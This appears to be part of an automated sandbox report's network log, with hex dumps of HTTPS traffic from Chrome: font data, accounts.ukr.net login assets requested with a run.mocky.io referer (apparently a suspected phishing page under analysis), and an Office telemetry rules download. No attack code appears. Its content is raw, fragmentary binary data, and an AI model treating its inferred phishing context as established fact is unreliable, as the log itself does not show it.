2024-10-24 06:50:30 UTC	406	IN	Data Raw: 37 62 65 36 0d 0a 00 01 00 00 00 11 01 00 00 04 00 10 47 50 4f 53 30 52 32 e3 00 05 83 b0 00 03 7e fe 47 53 55 42 b0 53 7c 2d 00 09 02 b0 00 00 28 66 4f 53 2f 32 6b 3f e8 19 00 00 01 98 00 00 00 60 63 6d 61 70 d6 c1 a0 48 00 00 31 34 00 00 15 a4 63 76 74 20 3c fc b6 9f 00 00 53 2c 00 00 00 e6 66 70 67 6d e4 14 db f0 00 00 46 d8 00 00 0b 97 67 61 73 70 00 00 00 10 00 05 83 a8 00 00 00 08 67 6c 79 66 b3 84 83 54 00 00 54 14 00 03 7e c4 68 65 61 64 07 de 38 5b 00 00 01 1c 00 00 00 36 68 68 65 61 0d 83 0c 6e 00 00 01 54 00 00 00 24 68 6d 74 78 5e 4a 4e 0a 00 00 01 f8 00 00 2f 3c 6b 65 72 6e d3 f3 0a 2c 00 04 02 18 00 01 00 02 6c 6f 63 61 18 af b1 7c 00 03 d2 d8 00 00 2f 40 6d 61 78 70 0d 96 01 e0 00 00 01 78 00 00 00 20 6e 61 6d 65 1e 7c 0b 4f 00 05 02 1c 00 Data Ascii: 7be6GPOS0R2~GSUBS\|-(fOS/2k?`cmapH14cvt <S,fpgmFgaspglyfTT~head8[6hheanT$hmtx^JN/<kern,loca\|/@maxpx name\|O
2024-10-24 06:50:30 UTC	1369	IN	Data Raw: 00 e6 00 00 00 03 00 01 00 04 04 67 02 bc 00 05 00 00 05 78 05 14 00 00 01 18 05 78 05 14 00 00 03 ba 00 63 02 32 00 00 02 0f 05 02 02 02 04 03 02 03 e1 00 02 ff 50 00 ec ff 00 00 00 09 00 00 00 00 74 79 50 4c 00 a0 00 00 fe ff 06 4a fe 7a 01 90 07 b6 01 aa 20 00 01 9f 00 00 00 00 04 02 05 a6 00 00 00 20 00 0b 04 46 00 2a 00 00 00 00 01 e6 00 00 05 6d ff f5 05 6b ff f3 07 4a ff ec 05 25 00 a1 05 2b 00 4d 05 2b 00 4d 05 f1 00 a1 06 04 ff ff 04 7e 00 a1 04 7e 00 a1 04 6c 00 a1 05 ac 00 4b 06 05 00 a1 06 19 00 14 02 51 00 a1 02 51 00 66 03 5b 00 16 05 5b 00 a1 04 0f 00 a1 04 2f 00 0d 04 0f 00 a1 07 62 00 a1 06 05 00 a1 06 05 00 a1 06 50 00 4b 06 50 00 4b 08 73 00 4d 04 d6 00 a1 04 cf 00 a1 06 50 00 4c 05 06 00 a1 04 49 00 2e 04 49 00 2e 04 b0 00 1e 04 c9 00 Data Ascii: gxxc2PtyPLJz F*mkJ%+M+M~~lKQQf[[/bPKPKsMPLI.I.
2024-10-24 06:50:30 UTC	1369	IN	Data Raw: b9 00 4c 01 b9 00 54 03 05 00 4c 03 05 00 54 01 b4 00 41 03 00 00 41 02 45 00 5a 02 46 00 70 03 8f 00 5a 03 8f 00 70 03 a4 00 3a 02 0a 00 a5 02 10 00 a8 03 a4 00 3a 02 ea 00 72 04 88 00 af 06 3c 00 77 03 a5 00 48 04 88 00 90 02 25 00 56 02 25 00 49 02 25 00 37 02 73 00 a5 02 73 00 34 02 64 00 39 02 64 00 39 03 52 00 66 04 88 00 51 04 88 00 51 03 ef 00 58 05 c2 00 41 04 88 00 63 04 88 00 65 01 a7 00 68 03 17 00 68 05 a7 00 49 06 97 00 5b 06 70 00 56 06 70 00 56 06 70 00 56 05 e9 00 52 05 e8 00 6b 03 3f 00 45 04 88 00 6e 04 88 00 1a 04 38 00 0c 04 88 00 43 04 88 00 76 04 88 00 25 04 88 00 27 04 88 00 0e 04 38 00 16 06 ab 00 2b 09 31 00 bd 04 88 00 1f 04 fc 00 5e 03 21 00 13 04 3d 00 52 04 2e 00 42 04 65 00 1b 03 ee 00 28 04 50 00 51 03 d8 00 28 04 4f 00 5b Data Ascii: LTLTAAEZFpZp::r<wH%V%I%7ss4d9d9RfQQXAcehhI[pVpVpVRk?En8Cv%'8+1^!=R.Be(PQ(O[
2024-10-24 06:50:30 UTC	1369	IN	Data Raw: ff f9 04 6f 00 45 04 95 00 1a 02 c3 ff 8e 04 8f 00 3e 03 83 00 1a 04 33 00 51 04 c6 00 7a 04 9a 00 7a 03 aa 00 34 04 25 00 32 03 36 00 29 03 2d 00 7a 06 0b 00 40 04 b1 00 2a 04 b1 00 2a 04 b1 00 2a 04 b1 00 2a 04 b1 00 2a 07 38 00 2a 07 38 00 2a 07 38 00 2a 07 38 00 2a 07 38 00 2a 05 08 00 23 07 8b 00 23 03 f7 00 6f 04 6f 00 44 04 6f 00 7a 04 6f 00 7a 03 ca 00 26 03 e8 00 43 04 6f 00 45 04 6f 00 45 04 2c 00 3f 04 2c 00 3f 05 ab 00 3b 03 93 00 46 04 de 00 22 04 79 00 42 04 6f 00 46 04 2b 00 40 03 e4 ff e1 04 17 00 04 04 68 00 70 04 68 00 7a 04 68 00 7a 03 2f 00 13 01 eb 00 7a 04 d4 00 7a 06 8b 00 70 06 8c 00 71 06 8b 00 7a 04 68 ff 7c 04 68 00 7a 04 73 00 7a 04 7d 00 43 06 14 00 41 06 22 00 3f 02 ea 00 07 02 ea 00 07 02 ea 00 07 02 ea 00 7a 02 ea 00 7a 02 Data Ascii: oE>3Qzz4%26)-z@****88888##ooDozoz&CoEoE,?,?;F"yBoF+@hphzhz/zzpqzh\|hzsz}CA"?zz
2024-10-24 06:50:30 UTC	1369	IN	Data Raw: 7a 04 98 00 7a 04 97 00 28 05 18 00 19 04 d6 00 7a 05 d1 00 7a 06 65 00 7a 04 e8 00 42 04 0c 00 18 04 1b 00 06 04 23 00 0a 04 64 00 04 05 af 00 19 04 82 00 45 04 1d 00 43 04 16 00 7a 05 2d 00 24 05 2d 00 24 04 59 00 7a 05 0b 00 03 04 72 00 7a 04 d1 00 7a 04 1c 00 43 05 f7 00 7a 04 2c 00 3f 03 89 ff e6 04 7d 00 43 03 4d 00 79 03 a5 00 28 04 63 00 05 04 56 00 27 06 1a 00 44 05 2b 00 07 03 de 00 08 06 5a 00 03 06 1f 00 7a 04 59 00 40 04 a8 00 18 03 92 00 46 05 04 00 03 05 b4 00 4a 05 64 00 55 05 73 00 58 04 88 00 41 04 88 00 2c 06 3c 00 53 04 88 00 22 07 ab 00 c1 08 71 00 53 06 bd 00 ba 06 0e 00 4b 05 02 00 4b 09 d9 00 3c 04 f3 00 37 04 88 00 11 05 bd 00 4e 05 e6 00 5b 04 bd 00 51 05 64 00 4f 06 91 00 07 04 95 00 a1 04 9d 00 61 04 88 00 89 05 f7 00 6a 04 88 Data Ascii: zz(zzezB#dECz-$-$YzrzzCz,?}CMy(cV'D+ZzY@FJdUsXA,<S"qSKK<7N[QdOaj
2024-10-24 06:50:30 UTC	1369	IN	Data Raw: 03 20 00 70 03 20 00 88 03 20 00 70 03 20 00 70 03 20 ff e5 03 20 ff e5 03 20 00 3c 03 20 01 15 03 20 00 65 03 20 00 62 01 8b 00 56 05 dc 00 00 03 e8 00 00 05 dc 00 00 03 e8 00 00 02 9a 00 00 01 f4 00 00 01 4d 00 00 04 88 00 00 01 c2 00 00 00 fa 00 00 00 7d 00 00 03 20 ff e5 03 20 ff fe 03 20 01 15 03 20 01 15 05 b9 00 20 08 d9 00 47 08 8c 00 33 05 dc 00 a3 00 00 00 eb 05 46 00 c1 00 00 ff e2 00 00 fd fe 01 f4 00 00 02 21 00 79 01 90 00 00 08 bb 00 3d 08 bb 00 3d 08 bd 00 3e 08 bd 00 3e 08 bd 00 3e 08 bd 00 3e 08 bd 00 3e 08 bd 00 3e 08 bd 00 3e 08 bd 00 3e 08 bd 00 3e 08 bd 00 3e 08 bd 00 3e 08 bd 00 3f 08 bd 00 3f 08 bd 00 3f 08 bd 00 3f 08 bd 00 3f 08 bd 00 3f 08 bd 00 3f 08 bd 00 3f 08 bd 00 3f 08 bd 00 3f 04 b0 00 57 03 44 00 76 03 44 00 76 04 b0 00 Data Ascii: p p p < e bVM} G3F!y==>>>>>>>>>>>??????????WDvDv
2024-10-24 06:50:30 UTC	1369	IN	Data Raw: 56 00 4a 04 56 00 4a 04 56 00 4a 02 ee 00 5f 04 56 00 5f 04 56 00 5f 04 56 00 5f 04 56 00 5f 04 56 00 5f 04 56 00 a1 04 56 00 a1 04 56 00 a1 04 56 00 a1 02 ee 00 5e 04 56 00 5e 04 56 00 5e 04 56 00 5e 04 56 00 5e 04 56 00 5e 02 ee 00 4a 04 56 00 4a 04 56 00 4a 04 56 00 4a 04 56 00 4a 04 56 00 4a 02 ee 00 44 04 56 00 44 04 56 00 44 04 56 00 44 04 56 00 44 04 56 00 44 02 ee 00 4a 04 56 00 4a 04 56 00 4a 04 56 00 4a 04 56 00 4a 04 56 00 4a 02 ee 00 5f 04 56 00 5f 04 56 00 5f 04 56 00 5f 04 56 00 5f 04 56 00 5f 04 56 00 a1 04 56 00 a1 04 56 00 a1 04 56 00 a1 02 ee 00 5e 04 56 00 5e 04 56 00 5e 04 56 00 5e 04 56 00 5e 04 56 00 5e 02 ee 00 41 04 56 00 41 04 56 00 41 04 56 00 41 04 56 00 41 04 56 00 41 02 ee 00 44 04 56 00 44 04 56 00 44 04 56 00 44 04 56 00 44 Data Ascii: VJVJVJ_V_V_V_V_V_VVVV^V^V^V^V^V^JVJVJVJVJVJDVDVDVDVDVDJVJVJVJVJVJ_V_V_V_V_V_VVVV^V^V^V^V^V^AVAVAVAVAVADVDVDVDVD
2024-10-24 06:50:30 UTC	1369	IN	Data Raw: 00 16 03 6f 00 16 05 5b 00 a1 05 5b 00 a1 05 5b 00 a1 05 5b 00 a1 05 5b 00 a1 05 5b 00 a1 04 0f 00 94 04 0f 00 a1 04 20 00 17 04 0f 00 a1 04 0f 00 0e 04 0f 00 a1 04 0f 00 a1 07 83 00 a1 06 20 00 a1 07 62 00 a1 07 62 00 a1 07 62 00 a1 07 62 00 a1 07 62 00 a1 06 05 00 a1 06 05 00 a1 06 05 00 a1 06 05 00 a1 06 05 00 a1 06 05 00 a1 06 05 00 a1 06 05 00 a1 06 05 00 a1 06 05 00 a1 09 61 00 a1 07 fe 00 a1 06 50 00 4b 06 50 00 4b 06 50 00 4b 06 50 00 4b 06 50 00 4b 06 50 00 4b 06 50 00 4b 06 50 00 4b 06 50 00 4b 06 4e ff 78 06 50 00 4b 06 50 00 4b 06 50 00 4b 06 50 00 4b 06 50 00 4b 06 50 00 4b 06 50 00 4b 06 50 00 4b 06 50 00 4b 06 50 00 4b 06 50 00 4b 06 50 00 4b 06 50 00 4b 06 50 00 4b 06 50 00 4b 06 50 00 4b 06 50 00 4b 06 50 00 4b 06 50 00 4b 06 50 00 4b 06 Data Ascii: o[[[[[[ bbbbbaPKPKPKPKPKPKPKPKPKNxPKPKPKPKPKPKPKPKPKPKPKPKPKPKPKPKPKPKPKPK
2024-10-24 06:50:30 UTC	1369	IN	Data Raw: 35 04 0a 00 7d 06 8d 00 7a 06 8b 00 7a 06 8b 00 7a 06 8b 00 7a 06 e4 00 7a 06 96 00 7d 04 68 00 7a 04 68 00 7a 04 68 00 7a 04 68 00 7a 04 68 00 7a 04 68 00 7a 04 68 00 7a 04 68 00 7a 04 68 00 7a 04 c1 00 7a 06 73 00 7a 04 7d 00 43 04 7d 00 43 04 7d 00 43 04 7d 00 43 04 7d 00 43 04 7d 00 43 04 7d 00 43 04 7d 00 43 04 7d 00 43 04 7d 00 43 04 7d 00 43 04 7d 00 43 04 7d 00 43 04 7c 00 43 04 7d ff 9a 04 7d 00 43 04 7d 00 43 04 7d 00 43 04 7d 00 43 04 7d 00 43 04 7d 00 43 04 7d 00 43 04 7d 00 43 04 7d 00 43 04 7d 00 43 04 7d 00 43 04 7d 00 43 04 7d 00 43 04 7c 00 43 04 7d 00 43 04 7c 00 43 04 7c 00 43 04 7d 00 43 04 7d 00 43 04 7d 00 43 04 7d 00 43 04 7d 00 43 04 7d 00 43 04 7e 00 31 04 6f 00 7a 04 6f 00 7a 04 6f 00 7a 04 6f ff f5 04 72 00 7a 04 6f 00 7a 02 ea Data Ascii: 5}zzzzz}hzhzhzhzhzhzhzhzhzzsz}C}C}C}C}C}C}C}C}C}C}C}C}C\|C}}C}C}C}C}C}C}C}C}C}C}C}C}C\|C}C\|C\|C}C}C}C}C}C}C~1ozozozorzoz
2024-10-24 06:50:30 UTC	1369	IN	Data Raw: 06 32 00 48 06 32 00 48 06 32 00 48 06 32 00 48 06 32 00 48 06 32 00 48 06 32 00 48 06 32 00 48 06 32 00 48 06 32 00 48 06 32 00 48 06 32 00 48 06 32 00 48 06 32 00 48 06 32 00 48 06 32 00 48 06 32 00 48 06 32 00 48 06 32 00 48 06 32 00 48 06 32 00 48 06 32 00 48 06 32 00 48 04 eb 00 a1 04 3b 00 a1 08 58 00 02 08 58 00 02 04 8b 00 17 06 05 00 a1 06 05 00 a1 06 05 00 a1 06 05 00 a1 05 70 00 a1 06 50 00 4b 05 09 ff f2 05 09 ff f2 05 09 ff f2 05 09 ff f2 05 48 00 4e 07 2e 00 a1 05 38 00 25 05 92 ff f1 03 ed 00 7a 03 49 00 7a 06 62 00 10 06 62 00 10 03 83 00 24 03 8e 00 2d 03 84 00 24 04 8e 00 7a 04 8e 00 7a 04 8e 00 7a 04 8e 00 7a 04 8e 00 7a 04 3e 00 7a 05 99 00 7a 04 73 00 7a 04 1e 00 45 05 cb 00 7a 03 ce 00 2a 04 4c 00 06 01 b4 00 41 02 1d 00 75 01 c2 00 Data Ascii: 2H2H2H2H2H2H2H2H2H2H2H2H2H2H2H2H2H2H2H2H2H2H2H;XXpPKHN.8%zIzbb$-$zzzzz>zzszEz*LAu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49765	212.42.75.253	443	1208	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:30 UTC	604	OUT	GET /login/assets/loader-3VguyQcd.gif HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://run.mocky.io/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 06:50:30 UTC	331	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 24 Oct 2024 06:50:30 GMT Content-Type: image/gif Content-Length: 2693 Connection: close Last-Modified: Wed, 19 Jun 2024 13:53:26 GMT ETag: "6672e2d6-a85" Expires: Thu, 07 Nov 2024 06:50:30 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4110.10.20.49:5080
2024-10-24 06:50:30 UTC	2693	IN	Data Raw: 47 49 46 38 39 61 56 00 19 00 80 01 00 ff ff ff ff ff ff 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 ff 0b 58 4d 50 20 44 61 74 61 58 4d 50 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 Data Ascii: GIF89aV!NETSCAPE2.0!XMP DataXMP<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49770	212.42.75.253	443	1208	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:31 UTC	372	OUT	GET /login/assets/loader-3VguyQcd.gif HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 06:50:31 UTC	331	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 24 Oct 2024 06:50:31 GMT Content-Type: image/gif Content-Length: 2693 Connection: close Last-Modified: Wed, 19 Jun 2024 13:53:26 GMT ETag: "6672e2d6-a85" Expires: Thu, 07 Nov 2024 06:50:31 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4210.10.20.49:5080
2024-10-24 06:50:31 UTC	2693	IN	Data Raw: 47 49 46 38 39 61 56 00 19 00 80 01 00 ff ff ff ff ff ff 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 ff 0b 58 4d 50 20 44 61 74 61 58 4d 50 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 Data Ascii: GIF89aV!NETSCAPE2.0!XMP DataXMP<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49771	212.42.75.253	443	1208	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:32 UTC	589	OUT	GET /login/favicon.ico HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://run.mocky.io/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 06:50:32 UTC	334	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 24 Oct 2024 06:50:32 GMT Content-Type: image/x-icon Content-Length: 1150 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-47e" Expires: Thu, 07 Nov 2024 06:50:32 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4210.10.20.37:5080
2024-10-24 06:50:32 UTC	1150	IN	Data Raw: 00 00 01 00 01 00 10 10 00 00 01 00 20 00 68 04 00 00 16 00 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4f ce a1 ab 4e ce a1 fe 4c cb 9e ff 4b ca 9d ff 4a c8 9c ff 48 c6 99 ff 47 c5 98 ff 45 c3 96 ff 44 c2 95 ff 42 c0 93 ff 41 be 92 ff 3f bc 8f ff 3d bb 8e ff 3d ba 8d ff 3b b9 8c fe 38 b7 89 aa 4e ce a1 fe 4f cd a1 ff 4d cc 9f ff 4c ca 9d ff 4b c9 9c ff 49 c7 9a ff 48 c6 99 ff 45 c4 97 ff 44 c2 96 ff 43 c1 94 ff 41 bf 92 ff 40 be 91 ff 3e bc 8f ff 3d ba 8d ff 3b b8 8b ff 3a b8 8b fe 4d c9 9d ff 4e cd a0 ff 4e cd a0 ff 4d cb 9f ff 4b c9 9c ff 4a c8 9b ff 48 c6 99 ff 47 c5 98 ff 45 c3 96 ff 43 c1 94 ff 42 c0 93 ff 41 be 92 ff 3f bc 8f ff 3e bb 8e ff 3c ba 8d ff 34 b4 87 ff 46 Data Ascii: h( ONLKJHGEDBA?==;8NOMLKIHEDCA@>=;:MNNMKJHGECBA?><4F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49772	212.42.75.253	443	1208	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:33 UTC	357	OUT	GET /login/favicon.ico HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 06:50:33 UTC	334	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 24 Oct 2024 06:50:33 GMT Content-Type: image/x-icon Content-Length: 1150 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-47e" Expires: Thu, 07 Nov 2024 06:50:33 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4210.10.20.37:5080
2024-10-24 06:50:33 UTC	1150	IN	Data Raw: 00 00 01 00 01 00 10 10 00 00 01 00 20 00 68 04 00 00 16 00 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4f ce a1 ab 4e ce a1 fe 4c cb 9e ff 4b ca 9d ff 4a c8 9c ff 48 c6 99 ff 47 c5 98 ff 45 c3 96 ff 44 c2 95 ff 42 c0 93 ff 41 be 92 ff 3f bc 8f ff 3d bb 8e ff 3d ba 8d ff 3b b9 8c fe 38 b7 89 aa 4e ce a1 fe 4f cd a1 ff 4d cc 9f ff 4c ca 9d ff 4b c9 9c ff 49 c7 9a ff 48 c6 99 ff 45 c4 97 ff 44 c2 96 ff 43 c1 94 ff 41 bf 92 ff 40 be 91 ff 3e bc 8f ff 3d ba 8d ff 3b b8 8b ff 3a b8 8b fe 4d c9 9d ff 4e cd a0 ff 4e cd a0 ff 4d cb 9f ff 4b c9 9c ff 4a c8 9b ff 48 c6 99 ff 47 c5 98 ff 45 c3 96 ff 43 c1 94 ff 42 c0 93 ff 41 be 92 ff 3f bc 8f ff 3e bb 8e ff 3c ba 8d ff 34 b4 87 ff 46 Data Ascii: h( ONLKJHGEDBA?==;8NOMLKIHEDCA@>=;:MNNMKJHGECBA?><4F

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49781	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:48 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:48 UTC	561	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:48 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Wed, 23 Oct 2024 06:30:03 GMT ETag: "0x8DCF32C20D7262E" x-ms-request-id: 39f98116-901e-0015-0fb5-25b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065048Z-16849878b787sbpl0sv29sm89s00000007h00000000017pu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:48 UTC	15823	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-24 06:50:48 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <S T="1" F="0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L>
2024-10-24 06:50:48 UTC	16384	IN	Data Raw: 3c 53 20 54 3d 22 33 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d Data Ascii: <S T="3" /> </T> <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" 